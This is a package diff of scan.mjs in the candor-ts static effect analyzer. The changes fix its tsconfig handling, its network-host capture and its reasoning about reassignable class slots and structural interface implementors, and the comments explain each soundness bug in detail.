candor-ts 0.34.0 → 0.35.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/scan.mjs CHANGED
@@ -35,7 +35,9 @@ import { unverifiedHoleRule, ruleUpgrade, canonicalDenySet, byCodePoint, claimsT
35
35
  import { printAgents, writeStdoutSync, writeSinkAtomic, resolveSinkArtifact, isCandorConfigSink } from "./contract.mjs";
36
36
  import { isTestPath, kappa, kappaKnows, nodeCoreUnreviewed, fsKind, commandHeadEffects, hostLiteral,
37
37
  tablesInSql, modelHostEffects, isModelHost, isModelSdkPackage, netClassesOf,
38
- partnerFor } from "./scan-core.mjs";
38
+ partnerFor, CLOCK_READING_PERFORMANCE_MEMBERS, CLOCK_READING_PROCESS_MEMBERS,
39
+ CLOCK_READING_CONSOLE_MEMBERS, CONNECTING_WEB_CTORS,
40
+ WEB_WIRE_MEMBERS } from "./scan-core.mjs";
39
41
  import { emitSurface } from "./surface.mjs";
40
42
 
41
43
  const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
@@ -46,7 +48,7 @@ const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
46
48
  // literal stamped into the envelope's `spec` field, so the doc lines and the report can never drift.
47
49
  // Reused, never re-littered.
48
50
  const PKG_VERSION = JSON.parse(fs.readFileSync(path.join(ENGINE_DIR, "package.json"), "utf8")).version;
49
- const SPEC_VERSION = "0.34";
51
+ const SPEC_VERSION = "0.35";
50
52
 
51
53
  // A TREE TOO DEEP TO WALK IS "COULD NOT EVALUATE" (exit 2), NEVER "FOUND A VIOLATION" (exit 1).
52
54
  //
@@ -1349,9 +1351,39 @@ function withNodeTypes(options) {
1349
1351
  return { ...options, types: [...new Set([...t, "node"])] };
1350
1352
  }
1351
1353
 
1352
- function fromTsconfig(cfgPath, baseDir) {
1354
+ // R91: widen the FILE SET `--allow-js` admits from a tsconfig WITHOUT discarding the tsconfig's other
1355
+ // compiler options (`paths`, `baseUrl`, `strict`, ...) — the bug this replaces bypassed the whole config
1356
+ // the moment the flag was passed, silently losing path-alias resolution for every project that has one.
1357
+ // `admitJs` asks the TypeScript API itself to widen (rule G: ask the authority, never reimplement) rather
1358
+ // than hand-rolling a second file-discovery pass that could disagree with the program `ts.createProgram`
1359
+ // actually builds.
1360
+ function admitJsInConfig(rawConfig) {
1361
+ const cfg = { ...rawConfig, compilerOptions: { ...(rawConfig.compilerOptions ?? {}), allowJs: true } };
1362
+ if (cfg.include === undefined) {
1363
+ // A `files`-only config (no `include` at all) NEVER directory-walks, `allowJs` or not — TypeScript's
1364
+ // own "default to **/*" rule only fires when BOTH `files` and `include` are absent. This is execa's
1365
+ // actual tsconfig at the moment `--allow-js` was introduced (`{"files": ["index.d.ts"]}`, verified
1366
+ // against the real published tsconfig.json at that date) — the tree the flag exists to unblock, where
1367
+ // the config names only a hand-written `.d.ts` and none of the real `.js` implementation. Recover
1368
+ // exactly that shape, and no other.
1369
+ if (cfg.files !== undefined) cfg.include = ["**/*"];
1370
+ } else {
1371
+ // An include pattern that names a TS extension explicitly (`src/**/*.ts`) does not admit `.js`
1372
+ // regardless of `allowJs` — only an extension-LESS pattern (`src`, `src/**/*`, the common template)
1373
+ // widens automatically once `allowJs` is true. Add each such pattern's `.js`-family sibling alongside
1374
+ // it; this is the literal "TS-only tsconfig include" the commit that introduced `--allow-js`
1375
+ // (b68864d) named as its target. An extension-less pattern maps to itself and contributes nothing.
1376
+ const jsSibling = (p) => p.replace(/\.mts$/, ".mjs").replace(/\.cts$/, ".cjs")
1377
+ .replace(/\.tsx$/, ".jsx").replace(/(?<!\.[mc])\.ts$/, ".js");
1378
+ const extra = cfg.include.map(jsSibling).filter((p, i) => p !== cfg.include[i] && !cfg.include.includes(p));
1379
+ if (extra.length) cfg.include = [...cfg.include, ...extra];
1380
+ }
1381
+ return cfg;
1382
+ }
1383
+ function fromTsconfig(cfgPath, baseDir, admitJs = false) {
1353
1384
  const cfg = ts.readConfigFile(cfgPath, ts.sys.readFile);
1354
- const parsed = ts.parseJsonConfigFileContent(cfg.config ?? {}, ts.sys, baseDir);
1385
+ const rawConfig = admitJs ? admitJsInConfig(cfg.config ?? {}) : (cfg.config ?? {});
1386
+ const parsed = ts.parseJsonConfigFileContent(rawConfig, ts.sys, baseDir);
1355
1387
  compilerOptions = withNodeTypes(parsed.options);
1356
1388
  let names = parsed.fileNames;
1357
1389
  // SOLUTION-STYLE configs (`files: [], references: [...]` — hono, most monorepo roots) list no
@@ -1363,7 +1395,8 @@ function fromTsconfig(cfgPath, baseDir) {
1363
1395
  const refPath = ts.resolveProjectReferencePath(ref);
1364
1396
  if (!fs.existsSync(refPath) || isTestPath(path.relative(baseDir, refPath))) continue;
1365
1397
  const sub = ts.readConfigFile(refPath, ts.sys.readFile);
1366
- const subParsed = ts.parseJsonConfigFileContent(sub.config ?? {}, ts.sys, path.dirname(refPath));
1398
+ const subRawConfig = admitJs ? admitJsInConfig(sub.config ?? {}) : (sub.config ?? {});
1399
+ const subParsed = ts.parseJsonConfigFileContent(subRawConfig, ts.sys, path.dirname(refPath));
1367
1400
  if (names.length === 0) compilerOptions = withNodeTypes(subParsed.options);
1368
1401
  names = names.concat(subParsed.fileNames);
1369
1402
  }
@@ -1394,7 +1427,7 @@ const admitsAsSource = (name) =>
1394
1427
  if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
1395
1428
  rootDir = path.dirname(path.resolve(target));
1396
1429
  usedTsconfig = path.resolve(target);
1397
- fileNames = fromTsconfig(path.resolve(target), rootDir);
1430
+ fileNames = fromTsconfig(path.resolve(target), rootDir, allowJs);
1398
1431
  } else if (stat.isFile()) {
1399
1432
  rootDir = path.dirname(path.resolve(target));
1400
1433
  // ⟨0.31⟩ A SINGLE-FILE TARGET IS ADMITTED BY THE SAME RULE AS A FILE INSIDE A DIRECTORY, and this
@@ -1413,9 +1446,13 @@ if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
1413
1446
  } else {
1414
1447
  rootDir = path.resolve(target);
1415
1448
  const tsconfig = path.join(rootDir, "tsconfig.json");
1416
- if (fs.existsSync(tsconfig) && !allowJs) {
1449
+ // R91: a tsconfig is used WHENEVER one exists, `--allow-js` or not — the flag used to take the `else`
1450
+ // branch unconditionally, discarding `paths`/`baseUrl`/every other compiler option along with `include`.
1451
+ // `fromTsconfig`'s own `admitJs` parameter (below) is what widens the file set now; this condition no
1452
+ // longer decides between "read the tsconfig" and "ignore it".
1453
+ if (fs.existsSync(tsconfig)) {
1417
1454
  usedTsconfig = tsconfig;
1418
- fileNames = fromTsconfig(tsconfig, rootDir);
1455
+ fileNames = fromTsconfig(tsconfig, rootDir, allowJs);
1419
1456
  } else {
1420
1457
  fileNames = [];
1421
1458
  (function walk(d) {
@@ -2332,7 +2369,21 @@ const ALIAS_HOPS = 16;
2332
2369
  *
2333
2370
  * One rule fixes both. A binding that is assigned anywhere is one whose value this analysis does not
2334
2371
  * know, so it resolves to neither answer: it is reported UNKNOWN, through the same `truncated` path a
2335
- * too-long alias chain takes. A binding that is never reassigned still resolves precisely. */
2372
+ * too-long alias chain takes. A binding that is never reassigned still resolves precisely.
2373
+ *
2374
+ * ⟨R103⟩ MEMBER WRITES GO IN THE SAME SET, because they are the same question. `this.h = evil` and
2375
+ * `C.h = evil` make `h`'s value not its initializer for exactly the reason `send = fetch` does, and
2376
+ * `openCallSlot` below is the reader. One set, not two: this rule already had one private copy too many
2377
+ * once (see `unaliasGlobal`'s "DEFINED ONCE, ON PURPOSE"), and a second implementation of "is this
2378
+ * binding written anywhere" is how the next spelling gets missed.
2379
+ *
2380
+ * WHAT THIS DOES TO THE ALIAS UNWRAP, stated as the assumption it is rather than as a guarantee. The
2381
+ * unwrap only ever looks up symbols of IDENTIFIER bindings, so it sees a member symbol in exactly one
2382
+ * situation: a bare identifier and a member write denote the SAME binding — `export namespace N { export
2383
+ * let h = fetch; } N.h = evil;` — and there the extra entry is the right answer, because `h` really was
2384
+ * written. It cannot fire on a mere NAME collision: `let send = fetch; obj.send = x; send(url)` targets
2385
+ * two different symbols and `send` still resolves to Net (fixture in test.mjs, and it goes red if the
2386
+ * set is keyed on text instead of symbols). */
2336
2387
  const reassignedCache = new WeakMap();
2337
2388
  const reassignedIn = (sf) => {
2338
2389
  let set = reassignedCache.get(sf);
@@ -2340,7 +2391,7 @@ const reassignedIn = (sf) => {
2340
2391
  set = new Set();
2341
2392
  const walk = (n) => {
2342
2393
  if (ts.isBinaryExpression(n) && n.operatorToken.kind === ts.SyntaxKind.EqualsToken
2343
- && ts.isIdentifier(n.left)) {
2394
+ && (ts.isIdentifier(n.left) || ts.isPropertyAccessExpression(n.left))) {
2344
2395
  const sym = checker.getSymbolAtLocation(n.left);
2345
2396
  if (sym) set.add(sym);
2346
2397
  }
@@ -2350,6 +2401,22 @@ const reassignedIn = (sf) => {
2350
2401
  reassignedCache.set(sf, set);
2351
2402
  return set;
2352
2403
  };
2404
+ // R130 — THE CLASS NAME A CONSTRUCT SIGNATURE DECLARES. Both `@types/node`'s `undici-types` and lib.dom
2405
+ // spell a constructible global as `declare (var|const) X: { prototype: X; new (…): X }`, so the resolved
2406
+ // declaration for a construction is a ConstructSignature with NO `.name`, sitting inside an ANONYMOUS type
2407
+ // literal. Every name-keyed branch in the classifier therefore sees `""` for it. The authority for the
2408
+ // identity is the binding the type literal belongs to: ConstructSignature -> TypeLiteral -> Variable-
2409
+ // Declaration. Returns "" for a `class`-declared constructor (whose parent is a ClassDeclaration) and for
2410
+ // anything else, so a caller can treat "" as "this mechanism cannot answer".
2411
+ function declaredCtorClassName(decl) {
2412
+ const tl = decl && decl.parent;
2413
+ const vd = tl && ts.isTypeLiteralNode(tl) ? tl.parent : null;
2414
+ return vd && ts.isVariableDeclaration(vd) && vd.name && ts.isIdentifier(vd.name) ? vd.name.text : "";
2415
+ }
2416
+ // R130 — `super(...)`. It is a CallExpression, not a NewExpression, so `ts.isNewExpression` is false and
2417
+ // `decl` is the BASE's construct signature — the shape `declaredCtorClassName` exists to read.
2418
+ const isSuperCall = (node) =>
2419
+ ts.isCallExpression(node) && node.expression.kind === ts.SyntaxKind.SuperKeyword;
2353
2420
  const unaliasGlobal = (expr) => {
2354
2421
  let hop = 0;
2355
2422
  for (; hop < ALIAS_HOPS && ts.isIdentifier(expr); hop++) {
@@ -2745,6 +2812,30 @@ function programHeadLiteral(node) {
2745
2812
  // options in the other overloads) — so those two members read arg0-or-arg1. Only STRING-LITERAL positions
2746
2813
  // are considered; returns null when the URL slot is not a static string literal — the safe direction.
2747
2814
  const NET_URL_ARG1_MEMBERS = new Set(["connect", "createConnection"]);
2815
+ // R130 — THE Net USE-VERBS, whose argument 0 is the PAYLOAD and never an endpoint. ⟨0.29⟩ fixed exactly
2816
+ // this class in three of the four locator surfaces — `programHeadLiteral` for `Exec`, `fsPathLiteral` for
2817
+ // `Fs`, the SQL slot for `Db` — and in `Net` it fixed only the POSITION (`fetch(runtimeUrl, "literal")`)
2818
+ // and the ONE verb whose position is neither first nor second (dgram `send`). The whole-module `net`
2819
+ // rule classifies every non-exempt member `Net`, so `write`/`end` arrive here with their payload at
2820
+ // position 0 and fell through to `litAt(0)`. MEASURED on PUBLISHED candor-ts 0.34.0, in isolation:
2821
+ //
2822
+ // export function w(s: net.Socket) { s.write("api.example.com"); }
2823
+ // -> inferred ["Net"], hosts ["api.example.com"], NO `incomplete`
2824
+ // -> `allow Net in src api.example.com` => policy ✓, exit 0
2825
+ //
2826
+ // over a socket whose destination this scan never saw. A fabricated destination masking an invisible one
2827
+ // — the dgram defect verbatim, one verb over, and it survived because `netEstablishing` (which already
2828
+ // excludes use-calls, and whose comment says so: *"NEVER use-calls (write/end/non-dgram send)"*) governs
2829
+ // only the `incomplete` branch and was never consulted by the CAPTURE branch. Two paths, one question.
2830
+ //
2831
+ // FAILURE DIRECTION: this is a list of verbs whose capture is SUPPRESSED, so a verb missing from it keeps
2832
+ // today's behaviour (still fabricates) and a verb wrongly IN it loses a host literal — which removes an
2833
+ // `allow`-list certification and can never add one. Forgetting an entry under-fixes; it cannot
2834
+ // under-report an effect, because `Net` itself is charged by κ either way and is untouched here.
2835
+ // Only verbs whose argument 0 is a STRING PAYLOAD are listed: `destroy`/`cork`/`ref` take no string and
2836
+ // cannot fabricate, so naming them would be decoration. `pipeline` is deliberately ABSENT — undici's
2837
+ // `pipeline(url, opts, handler)` really does put the URL first.
2838
+ const NET_USE_VERBS = new Set(["write", "end", "send", "emit", "push", "unshift"]);
2748
2839
  // ⟨0.29⟩ dgram's `send` puts the DESTINATION ADDRESS at position 2 or 4, and position 0 is the MESSAGE.
2749
2840
  // Falling through to `litAt(0)` read the payload as the endpoint: MEASURED,
2750
2841
  // `sock.send("telemetry.example", 0, 17, 53, dst)` published `hosts: ["telemetry.example"]` with NO
@@ -2916,6 +3007,9 @@ function urlArgLiteral(node, member, mod) {
2916
3007
  const i = dgramSendAddressIndex(args);
2917
3008
  return i < 0 ? null : litAt(i);
2918
3009
  }
3010
+ // R130 — a USE-VERB names no endpoint (NET_USE_VERBS). Asked AFTER dgram's `send`, which is the one
3011
+ // spelling of `send` that does carry a destination, so that rule keeps its own answer.
3012
+ if (member && NET_USE_VERBS.has(member)) return null;
2919
3013
  return litAt(0);
2920
3014
  }
2921
3015
  // Is arg0 a RUNTIME STRING expression whose host can't be known statically — a template, a string
@@ -3803,6 +3897,115 @@ function resolveFnRefUnit(refNode, depth = 0) {
3803
3897
  return null;
3804
3898
  }
3805
3899
 
3900
+ /** ⟨R103⟩ A CALL THROUGH A WRITABLE SLOT IS NOT A CALL TO THAT SLOT'S INITIALIZER.
3901
+ *
3902
+ * `class Sink { handler = pureDefault; fire() { return this.handler(); } }` — the checker types
3903
+ * `handler` as `typeof pureDefault`, so `getResolvedSignature` hands `visitCalls` the FunctionDeclaration
3904
+ * and the call edges to it. MEASURED on published 0.34.0 (SOUNDNESS R103): the whole report was
3905
+ * `functions: []`, and `deny Fs`, `deny Unknown`, `pure`, `deny Unknown src.lib.Sink.fire` and
3906
+ * `pure src.lib.Sink.fire` ALL exited 0 while a consumer doing `s.handler = () => fs.writeFileSync(…);
3907
+ * s.fire()` really did write the file (executed, not reasoned). The mirror direction was live too:
3908
+ * `private h = fsThing; constructor(){ this.h = () => "x"; } fire(){ return this.h(); }` charged the
3909
+ * caller Fs off a slot that by then held a pure arrow — a POSITIVE WRONG claim, not just silence.
3910
+ *
3911
+ * NEITHER is a new question. `reassignedIn` above already states the rule, one function away, for the
3912
+ * identifier spelling: "ASSIGNED SOMEWHERE ⇒ its value is not its initializer. Neither answer is
3913
+ * available, so say so." This routes the member spelling onto that same rule and adds the one thing a
3914
+ * member has that a local does not: a slot can be written by code this scan never sees.
3915
+ *
3916
+ * A METHOD IS NOT A SLOT, and that is the line. `fire(){…}` declares flesh; `handler = …` declares a
3917
+ * storage location that happens to be seeded with flesh. `Sink.prototype.fire = evil` is also legal JS,
3918
+ * but treating every method call as Unknown answers nothing about any program; treating a member whose
3919
+ * declaration is a *slot* as Unknown is the ⟨0.19⟩ callback posture this engine already takes for
3920
+ * `handler: () => string = pureDefault` — which, MEASURED at HEAD, correctly yields
3921
+ * `Unknown[callback:…]`. The only thing separating the two spellings today is whether the author wrote a
3922
+ * type annotation. That is not a fact about who can write the slot.
3923
+ *
3924
+ * WHAT COUNTS AS CLOSED — one exemption, and it is measured, not stylistic:
3925
+ * · `private` / `#` AND never written in its own file ⇒ CLOSED, resolves precisely as before. A
3926
+ * private member can only be written from inside its own class body, so its own source file is a
3927
+ * complete view of the writes — the same locality `reassignedIn` already relies on.
3928
+ * · everything else ⇒ OPEN. `public`, `protected` (a subclass outside this scan writes it), `static`,
3929
+ * and — deliberately — `readonly`.
3930
+ *
3931
+ * `readonly` IS NOT CLOSED, and this was measured rather than argued (tsc 6.0.3, exit 0, executed):
3932
+ * readonly-ness is not part of property assignability, so `const w: { handler: () => string } = r;
3933
+ * w.handler = evil;` compiles with NO cast and NO `any`, and `r.fire()` then returns the attacker's
3934
+ * value. The same widening against a `private` member is a hard error (TS2322). So the type system
3935
+ * enforces `private` and does not enforce `readonly`; only the enforced one may narrow a sound
3936
+ * over-approximation (denylist-over-allowlist).
3937
+ *
3938
+ * THE `private` EXEMPTION IS AN ASSUMPTION, NOT A GUARANTEE, and is worded that way on purpose: `private`
3939
+ * is erased at emit, so a JavaScript consumer, `(s as any).h = …`, or `Object.defineProperty` writes it
3940
+ * regardless. The exemption says candor models the DECLARED interface. It is kept because dropping it
3941
+ * costs the precision this engine's `private envField = () => process.env.HOME` control depends on, and
3942
+ * because a cast is a deliberate act of defeating the declaration — not because the slot is unwritable.
3943
+ *
3944
+ * Returns null for a closed slot (caller resolves exactly as before), else a short callee text for the
3945
+ * `callback:` reason. */
3946
+ // THE HIT COUNTER IS PART OF THE FIX, not scaffolding. An A/B that comes back byte-identical says
3947
+ // nothing until you can show the corpus REACHED the changed branch (AGENT-CORPUS-BRIEF §E1 — four rows
3948
+ // in one day reported a clean zero-diff over corpora that contained none of the shape). `CANDOR_R103_HITS=1`
3949
+ // prints one line per slot kind to stderr, so the next person measuring this does not have to re-add it.
3950
+ const R103_HITS = process.env.CANDOR_R103_HITS ? new Map() : null;
3951
+ const r103Hit = (k) => { if (R103_HITS) R103_HITS.set(k, (R103_HITS.get(k) ?? 0) + 1); };
3952
+ if (R103_HITS) process.on("exit", () => {
3953
+ const rows = [...R103_HITS].sort();
3954
+ process.stderr.write(`R103-HITS total=${rows.reduce((a, [, n]) => a + n, 0)}`
3955
+ + rows.map(([k, n]) => ` ${k}=${n}`).join("") + "\n");
3956
+ });
3957
+ function openCallSlot(node) {
3958
+ if (!ts.isCallExpression(node)) return null; // `new X()` constructs a class, not a slot
3959
+ let callee = node.expression;
3960
+ while (ts.isParenthesizedExpression(callee)) callee = callee.expression;
3961
+ // ELEMENT ACCESS IS THE SAME SLOT BY ANOTHER SPELLING, and it is here because the first draft of this
3962
+ // comment asserted the opposite — "an element access already reaches the dynamic-key/`callback:` arms"
3963
+ // — and that was FALSE when measured: `this["handler"]()` and `this[k]()` (k narrowed to the literal
3964
+ // key) both read `["Fs"]` with no Unknown, through the identical open slot. An assertion written by the
3965
+ // commit that needs it to be true is the most expensive kind, so it was checked instead of believed.
3966
+ if (!ts.isIdentifier(callee) && !ts.isPropertyAccessExpression(callee)
3967
+ && !ts.isElementAccessExpression(callee)) return null;
3968
+ // The SLOT's own symbol — deliberately NOT `realDecl`, which follows aliases through to the target and
3969
+ // is exactly the hop that loses the question. `getSymbolAtLocation` returns undefined for an element
3970
+ // access (MEASURED, which is why the first attempt at the branch above silently did nothing), so the
3971
+ // member is looked up on the RECEIVER's type by the key's own string-literal TYPE — that covers both
3972
+ // `this["handler"]` and `this[k]` where `k: "handler"`, and yields nothing for a genuinely dynamic key,
3973
+ // which is right: that call is already `Unknown` through the dynamic-key arm.
3974
+ const sym = ts.isElementAccessExpression(callee)
3975
+ ? (() => {
3976
+ const kt = callee.argumentExpression && checker.getTypeAtLocation(callee.argumentExpression);
3977
+ const key = kt && kt.isStringLiteral?.() ? kt.value : null;
3978
+ const rt = checker.getTypeAtLocation(callee.expression);
3979
+ return key && rt ? checker.getPropertyOfType(rt, key) : undefined;
3980
+ })()
3981
+ : checker.getSymbolAtLocation(callee);
3982
+ const d = sym?.valueDeclaration ?? sym?.declarations?.[0];
3983
+ if (!d) return null;
3984
+ // THE JS/CommonJS SPELLING OF THE SAME SLOT, and it is not a guess about JavaScript — both forms were
3985
+ // EXECUTED against a real `require()` consumer: `module.exports.handler = evil; lib.fire()` returned
3986
+ // the attacker's value, and so did `s.handler = evil2` against a constructor-assigned instance field.
3987
+ // The checker gives these no PropertyDeclaration at all: `this.h = f` in a constructor synthesises a
3988
+ // symbol whose valueDeclaration is the BinaryExpression, and `module.exports.h = f` / `exports.h = f`
3989
+ // one whose only declaration is the PropertyAccessExpression. There is nothing to exempt — JavaScript
3990
+ // has no `private` (a `#` field is a PropertyDeclaration and goes down the branch below), and the
3991
+ // declaration IS a write, so the `reassignedIn` question is answered before it is asked.
3992
+ if (ts.isBinaryExpression(d) || ts.isPropertyAccessExpression(d)) {
3993
+ r103Hit("js-expando");
3994
+ return callee.getText().replace(/\s+/g, "").slice(0, 60);
3995
+ }
3996
+ if (!ts.isPropertyDeclaration(d)) return null;
3997
+ const flags = ts.getCombinedModifierFlags(d);
3998
+ const encapsulated = !!(flags & ts.ModifierFlags.Private)
3999
+ || (d.name && ts.isPrivateIdentifier(d.name));
4000
+ const written = !!sym && reassignedIn(d.getSourceFile()).has(sym);
4001
+ if (encapsulated && !written) return null; // CLOSED — see the exemption above
4002
+ r103Hit(encapsulated ? "private-written"
4003
+ : (flags & ts.ModifierFlags.Static) ? "static"
4004
+ : (flags & ts.ModifierFlags.Protected) ? "protected"
4005
+ : (flags & ts.ModifierFlags.Readonly) ? "readonly" : "public");
4006
+ return callee.getText().replace(/\s+/g, "").slice(0, 60);
4007
+ }
4008
+
3806
4009
  // Unwrap a `<ref>.bind(…)` partial-application chain to the underlying function-reference RECEIVER.
3807
4010
  // `setTimeout(this.flush.bind(this), 0)` / `effFs.bind(null)` / `cb.bind(null,a).bind(null,b)` schedule the
3808
4011
  // BOUND function, but the argument node is a CallExpression (callee = PropertyAccessExpression `.bind`), so
@@ -3831,6 +4034,240 @@ function unwrapBind(node, depth = 0) {
3831
4034
  return { ref: (ts.isIdentifier(recv) || ts.isPropertyAccessExpression(recv)) ? recv : null };
3832
4035
  }
3833
4036
 
4037
+ // ⟨0.35, PART 87 fix⟩ STRUCTURAL / SYNTHESISED INTERFACE IMPLEMENTORS — the candidate-set-completion
4038
+ // half of "A NON-EMPTY CANDIDATE SET IS NOT A COMPLETE ONE" (SPEC ⟨0.35⟩). `interfaceImpls` above only
4039
+ // ever registers a NOMINAL `class X implements Y`. The dispatch site below (the interface-CHA fanout)
4040
+ // reads `interfaceImpls.get(iface)` as though it were the WHOLE candidate set: once it is non-empty it
4041
+ // requires every entry's member to resolve and, if so, calls the dispatch COMPLETE and suppresses
4042
+ // Unknown. A value actually produced by a STRUCTURAL conformer — an object literal, a class EXPRESSION,
4043
+ // a bound method reference, `Object.assign`'s result — was invisible to that registry, so adding one
4044
+ // unrelated NOMINAL implementor flipped `allResolved` true over a candidate set that was never complete.
4045
+ // MEASURED on the published 0.34.0 artifact (PART 87): the calling function VANISHED from `functions[]`
4046
+ // entirely — no effects, no Unknown, no disclosure.
4047
+ //
4048
+ // This pass registers every LOCALLY VISIBLE structural implementor into the SAME `interfaceImpls` map,
4049
+ // mixed with nominal classes. That claim needs a name for every consumer, not an assertion: the ordinary
4050
+ // interface-CHA dispatch site (`cls.members ?? cls.properties ?? []`) DOES handle a structural entry —
4051
+ // it was written that way in this same commit. Two others did not, both corrected 2026-09-01 after this
4052
+ // commit shipped and both MEASURED, not assumed clean the way this paragraph used to read:
4053
+ // `coercionChaClasses`'s consumer `localClassMember` read only `cur.members`, so a structural
4054
+ // implementor's coercion member (e.g. an object-literal `toString`) was silently invisible — see its own
4055
+ // comment for the fixture that reproduced it — and the workspace-chain union's `c.name?.text` silently
4056
+ // drops any implementor with no `.name` (every structural one), which could publish "pure across all
4057
+ // impls" when an unnamed implementor was not — see the `hadUnnamed` comment below for the fix. Detection
4058
+ // is via the CHECKER'S OWN contextual typing, not a hand-rolled shape matcher:
4059
+ // whatever a structurally-typed value flows INTO — a plain reassignment, an array-literal element, a
4060
+ // Map-literal tuple, a call argument — `checker.getContextualType` already resolves against that slot's
4061
+ // declared type, union-decomposed the same way the nominal branch decomposes a heritage clause. Two
4062
+ // shapes defeat plain contextual typing on the value itself and are climbed explicitly: `Object.assign`
4063
+ // — a well-known global whose own CALL keeps the real contextual type; its arguments read an anonymous
4064
+ // `__object`. `Object.assign`'s climb is sound because the LANGUAGE, not a type match, guarantees it: a
4065
+ // value passed to it really does end up on the object the expression evaluates to, whether it is the
4066
+ // mutated target or a source whose own enumerable properties are copied across by reference.
4067
+ //
4068
+ // A single-type-parameter `T -> T` "identity wrapper" (`function wrap<T>(x: T): T { … }`) was climbed
4069
+ // here too, originally on the theory that a signature spelling the SAME bare type-parameter name on both
4070
+ // sides PROVES the function returns its argument unchanged. It does not: TypeScript's structural type
4071
+ // system certifies that `wrap`'s return type is ASSIGNABLE to its parameter type, never that the
4072
+ // returned VALUE is the same value — a memoizing cache, a logging decorator, or a wrapper that fabricates
4073
+ // a fresh object of a compatible shape all type-check against `T -> T` while doing something else
4074
+ // entirely at runtime. MEASURED, 2026-09-01 (PART 87 hardening): a `wrap<T>(x: T): T { return makeReal()
4075
+ // as unknown as T }` that discards its argument and returns a genuinely different, effectful object
4076
+ // type-checked against this exact signature, and the SIGNATURE-ONLY climb picked the discarded PURE
4077
+ // argument as the interface's sole implementor — the calling function vanished from `functions[]`
4078
+ // entirely over code that provably writes to disk (candor-attack1 fixture).
4079
+ //
4080
+ // TIGHTENED rather than deleted: `isProvenIdentityReturn` (below `registerStructuralImpl`) additionally
4081
+ // requires the wrapper's ENTIRE body to be exactly `return x;` (or an arrow's concise `x`), with the
4082
+ // returned identifier resolved by the CHECKER to the SAME parameter symbol — a real proof read from
4083
+ // source, not a second guess wearing the first one's clothes. `return makeReal() as unknown as T` has a
4084
+ // body of one statement too, but that statement is not `return x;`, so it fails the proof and the climb
4085
+ // does not fire — the dispatch has no implementor to see and reads honest `Unknown[dispatch:…]`, exactly
4086
+ // as it did before PART 87. A genuine `return x;` wrapper still climbs and still resolves precisely; the
4087
+ // family's denylist-over-allowlist rule is satisfied because the narrowing case is now proven by the
4088
+ // actual code, exactly as `Object.assign`'s is proven by the language, never guessed from a shape.
4089
+ //
4090
+ // Every registered structural implementor's member is EITHER resolved (a real unit's effects reach the
4091
+ // dispatch — the disjunction's path (a), the candidate set is COMPLETED) or left unresolved (`nodeName`
4092
+ // has no entry for it — a `.bind()`/reference chain that cannot be pinned, a call result, a getter). The
4093
+ // SAME `allResolved` gate the nominal fanout already enforces turns an unresolved structural member into
4094
+ // a forced Unknown, disclosed rather than silent — path (b), for free, from one shared completeness
4095
+ // check. Local-only, mirroring the nominal branch's own bound: a structural value arriving from outside
4096
+ // this scan's own source tree (an argument passed by an external caller, a dependency's own callback)
4097
+ // is no more visible here than an external nominal implementor already was.
4098
+ function localInterfaceDeclsOfType(t) {
4099
+ const out = [];
4100
+ const consider = (ct) => {
4101
+ const sym = ct?.getSymbol?.() ?? ct?.symbol;
4102
+ for (const d of sym?.declarations ?? []) {
4103
+ if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName)) && !out.includes(d))
4104
+ out.push(d);
4105
+ }
4106
+ };
4107
+ if (!t) return out;
4108
+ if (t.isUnion?.()) { for (const ct of t.types) consider(ct); } else consider(t);
4109
+ return out;
4110
+ }
4111
+ function registerStructuralImpl(ifaceDecl, implNode, seen = new Set()) {
4112
+ if (seen.has(ifaceDecl)) return;
4113
+ seen.add(ifaceDecl);
4114
+ if (!interfaceImpls.has(ifaceDecl)) interfaceImpls.set(ifaceDecl, []);
4115
+ const arr = interfaceImpls.get(ifaceDecl);
4116
+ if (!arr.includes(implNode)) arr.push(implNode);
4117
+ // Climb super-interfaces too — the same reason the nominal branch does: a dispatch through `Sup`'s own
4118
+ // signature must also see an implementor that only satisfies `Sub extends Sup` structurally.
4119
+ for (const eh of ifaceDecl.heritageClauses ?? []) {
4120
+ if (eh.token !== ts.SyntaxKind.ExtendsKeyword) continue;
4121
+ for (const st of eh.types) {
4122
+ let sym; try { sym = checker.getSymbolAtLocation(st.expression); } catch { sym = undefined; }
4123
+ const tgt = sym && sym.flags & ts.SymbolFlags.Alias ? checker.getAliasedSymbol(sym) : sym;
4124
+ for (const d of tgt?.declarations ?? [])
4125
+ if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName)))
4126
+ registerStructuralImpl(d, implNode, seen);
4127
+ }
4128
+ }
4129
+ }
4130
+ // Is `param -> body` a PROVEN identity return — the function's ENTIRE body is exactly `return <param>;`
4131
+ // (block form) or exactly `<param>` (arrow concise-body form), with no destructuring, no default, no
4132
+ // rest, no cast, no conditional, nothing at all between the parameter and the value returned — and the
4133
+ // returned identifier resolves via the CHECKER to the SAME parameter symbol, not merely the same name (a
4134
+ // shadowing `x` in a nested scope would share the name and not the symbol). This is read from the
4135
+ // function's own source, not inferred from its declared type: a `T -> T` signature only proves the
4136
+ // return value is ASSIGNABLE to the parameter's type, never that it IS the parameter's value — see the
4137
+ // long comment above `registerStructuralImpl` for the fixture that proved the signature-only version
4138
+ // wrong. A body this narrow cannot do so: there is no statement left for it to construct a different,
4139
+ // merely type-compatible object in.
4140
+ function isProvenIdentityReturn(decl, paramIdx) {
4141
+ const param = decl.parameters?.[paramIdx];
4142
+ if (!param || !ts.isIdentifier(param.name) || param.initializer || param.dotDotDotToken || param.questionToken)
4143
+ return false;
4144
+ const sameParam = (expr) => {
4145
+ if (!expr || !ts.isIdentifier(expr) || expr.text !== param.name.text) return false;
4146
+ let sym; try { sym = checker.getSymbolAtLocation(expr); } catch { sym = undefined; }
4147
+ let psym; try { psym = checker.getSymbolAtLocation(param.name); } catch { psym = undefined; }
4148
+ return !!sym && !!psym && sym === psym;
4149
+ };
4150
+ const body = decl.body;
4151
+ if (!body) return false;
4152
+ if (ts.isBlock(body))
4153
+ return body.statements.length === 1 && ts.isReturnStatement(body.statements[0])
4154
+ && sameParam(body.statements[0].expression);
4155
+ return sameParam(body); // arrow concise body: `(x) => x`
4156
+ }
4157
